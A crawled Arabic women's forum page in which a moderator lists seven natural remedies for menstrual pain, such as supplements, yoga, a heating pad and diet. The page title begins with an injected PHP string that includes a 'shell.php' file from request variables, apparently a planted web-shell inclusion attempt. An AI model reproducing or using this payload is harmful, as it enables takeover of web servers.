".print include($HTTP_GET_VARS[shell.php])." 7 طرق طبيعية لتخفيف آلام الدورة الشهرية ... - منتدى الأميرة النسائي - أزياء فساتين - موضة - مكياج - مطبخ
 

العودة   منتدى الأميرة النسائي - أزياء فساتين - موضة - مكياج - مطبخ > عالم حواء > الطب الطب البديل وعلاجات الامراض

الطب الطب البديل وعلاجات الامراض يهتم بكل ما يصيب الانسان من امراض ومحاولة ايجاد علاجات لها

إضافة رد
 
أدوات الموضوع إبحث في الموضوع انواع عرض الموضوع
  #1  
قديم 12-Sep-2015, 10:51 PM
الصورة الرمزية بيسان الروح
بيسان الروح بيسان الروح غير متواجد حالياً
مشرفة قسم جمال العروس
 






بيسان الروح has a reputation beyond repute بيسان الروح has a reputation beyond repute بيسان الروح has a reputation beyond repute بيسان الروح has a reputation beyond repute بيسان الروح has a reputation beyond repute بيسان الروح has a reputation beyond repute بيسان الروح has a reputation beyond repute بيسان الروح has a reputation beyond repute بيسان الروح has a reputation beyond repute بيسان الروح has a reputation beyond repute بيسان الروح has a reputation beyond repute
افتراضي 7 طرق طبيعية لتخفيف آلام الدورة الشهرية ...



تعاني نسبة لا تقل عن 40% من السيدات من آلام مزعجة في فترة الطمث الشهرية إلى جانب العديد من التغيرات المزاجية والفسيولوجية بالجسم، وللتغلب على هذه اللآلام حاولي اتباع العادات التالية خلال فترة الطمث من كل شهر:
1- اجعلي الكالسيوم وفيتامين د والماغينسيوم في نظامك الغذائي : سواء من خلال تناول أغذية تحتوي عليهم او تناولها على شكل أقراص فتناول 320 مللجم من هذه العناصر يقوم بتهدئة العضلات ويساعد على ارتخائها.
2- مارسي اليوجا قبل موعد دورتك الشهرية بيومين: فهناك عدد من تمرينات اليوجا الخاصة بفترة الدورة الشهرية تساعد على ارتخاء العضلات خاصة بمنطقة الحوض حتى تقلل من الانقباضات الشديدة المسببة لآلام الطمث.
3- المشي وممارسة التمرينات الخفيفة: والذي يساعد على تقليل الآلام في تلك الفترة من خلال إفراز الجسم للاندروفين الذيي يساعد الجسم على التغلب على التوتر والتخفيف من الآلام.
4- النوم بششكل كاف: فالنوم يساعد جسمك على الاسترخاء ويقوم بتخدير الألم.
5- استخدمي وسادة التدفئة: فتطبيق الحرارة على البطن يقلل من التشنجات المؤلمة.
6- تناولي تلك الأطعمة : اللبن والزبادي والأجبان ليمد الجسم بالكالسيوم والسلامون الغني بالأوميجا3 والخضروات المختلفة وتجنبي الملح في الطعام والمخللات.
7- تجنبي الكافيين واحصلي على المشروبات الساخنة: فالكافيين والكحول والمنبهات المختلفة ستقوم بشد العضلات مما يساعد على الإحساس بالألم لذا استبدليها بالمشروبات الساخننة والأعشاب الطبيعية التي تزيد من تدفق الدم بالجسم وترخي العضلات.


 

 

رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

الكلمات الدلالية (Tags)
أغذية , أقراص , الآلام , الملح , اللبن , المزاجية , المشروبات , الأطعمة , التغلب , البطن , الحرارة , الدورة , الساخنة , السيدات , الشهرية , الغذائي , العديد , النوم , الطبيعية , الطعام , الكافيين , جسمك , يقلل , وسادة , طبيعية

أدوات الموضوع إبحث في الموضوع
إبحث في الموضوع:

البحث المتقدم
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
هل يمكن غسل الشعر أم لا أثناء فترة الدورة الشهرية؟ غوايش الطب الطب البديل وعلاجات الامراض 0 28-Feb-2018 09:55 PM
طرق مختلفة لتخفيف آلام المخاض ... بيسان الروح منتدى الحوامل 1 09-Mar-2015 10:21 PM
أسباب اضطرابات الدورة الشهرية . بيسان الروح أسرار العروس 2 18-Feb-2013 03:40 AM
اليكي عروستنا الحلوة......... جدول حساب الدورة الشهرية........ بسملة حسناء أسرار العروس 7 20-Nov-2012 08:08 PM
اسرار مهمة عن الدورة الشهرية راجية رضى ربي حياة الأسرة 4 14-May-2012 02:18 AM


الساعة الآن 10:10 PM.


Powered by vBulletin Version 3.8.4
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd
Support-ar
منتدى الأميرة النسائي - أزياء فساتين - موضة - مكياج - مطبخ